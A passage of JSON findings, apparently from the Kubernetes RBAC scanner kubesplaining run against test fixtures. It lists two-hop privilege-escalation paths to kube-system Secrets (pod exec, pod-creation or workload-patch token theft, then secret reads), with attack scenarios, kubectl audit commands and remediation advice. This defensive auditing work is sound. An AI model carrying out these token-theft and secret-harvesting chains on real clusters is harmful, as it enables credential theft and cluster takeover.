        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount foothold-exec/foothold-reader",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-reader-secrets",
        "source_role": "foothold-reader-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/rbac-fixtures/sa-pod-create:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.049999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/rbac-fixtures/sa-pod-create` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/foothold-exec/foothold-reader` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount foothold-exec/foothold-reader\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/foothold-exec/foothold-reader` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. read_secrets [get,list secrets]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/foothold-exec/foothold-reader`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/foothold-exec/foothold-reader`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount foothold-exec/foothold-reader",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-reader-secrets",
        "source_role": "foothold-reader-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/rbac-fixtures/sa-workload-mutate:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.049999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/rbac-fixtures/sa-workload-mutate` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/foothold-exec/foothold-reader` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount foothold-exec/foothold-reader\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/rbac-fixtures/sa-workload-mutate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/foothold-exec/foothold-reader`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. read_secrets [get,list secrets]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/foothold-exec/foothold-reader`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/foothold-exec/foothold-reader`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount foothold-exec/foothold-reader",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-reader-secrets",
        "source_role": "foothold-reader-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:User/gw-deployer:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.049999999999999,
    "category": "data_exfiltration",
    "title": "`User/gw-deployer` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `User/gw-deployer` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `User/gw-deployer` → `ServiceAccount/gw-workloads/gw-powerful` via `workload_create_token_theft` (create deployments): can create a workload whose pods run as ServiceAccount gw-workloads/gw-powerful\n  2. `ServiceAccount/gw-workloads/gw-powerful` → `/` via `read_secrets` (list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "User",
      "name": "gw-deployer"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `User/gw-deployer` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `User/gw-deployer`.",
      "Acting as `User/gw-deployer`, the attacker creates a workload (`create deployments`) whose pod template runs as `ServiceAccount/gw-workloads/gw-powerful`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/gw-workloads/gw-powerful`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments]",
        "2. read_secrets [list secrets]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `create deployments` that enables the first hop (`User/gw-deployer` → `ServiceAccount/gw-workloads/gw-powerful`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `create deployments` that enables the first hop (`User/gw-deployer` → `ServiceAccount/gw-workloads/gw-powerful`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "User",
          "name": "gw-deployer"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "gw-powerful",
          "namespace": "gw-workloads"
        },
        "permission": "create deployments",
        "gains": "can create a workload whose pods run as ServiceAccount gw-workloads/gw-powerful",
        "source_binding": "gw-deployer",
        "source_role": "gw-deployer",
        "binding_namespace": "gw-workloads"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-powerful",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "gw-powerful-secrets",
        "source_role": "gw-secret-lister"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:User/gw-patcher:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.049999999999999,
    "category": "data_exfiltration",
    "title": "`User/gw-patcher` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `User/gw-patcher` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `User/gw-patcher` → `ServiceAccount/gw-workloads/gw-powerful` via `workload_hijack` (patch deployments): can rewrite the pod template of Deployment gw-workloads/gw-web to run as ServiceAccount gw-workloads/gw-powerful\n  2. `ServiceAccount/gw-workloads/gw-powerful` → `/` via `read_secrets` (list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "User",
      "name": "gw-patcher"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `User/gw-patcher` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `User/gw-patcher`.",
      "Acting as `User/gw-patcher`, the attacker rewrites the pod template of an existing workload (`patch deployments`) so that its pods run the attacker's code as `ServiceAccount/gw-workloads/gw-powerful`. The controller rolls out the change itself. The rewritten pods keep the rest of the workload's spec, including any host access it already had.",
      "Acting as `ServiceAccount/gw-workloads/gw-powerful`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_hijack [patch deployments]",
        "2. read_secrets [list secrets]"
      ],
      "first_action": "workload_hijack",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "workload_hijack",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `patch deployments` that enables the first hop (`User/gw-patcher` → `ServiceAccount/gw-workloads/gw-powerful`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `patch deployments` that enables the first hop (`User/gw-patcher` → `ServiceAccount/gw-workloads/gw-powerful`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
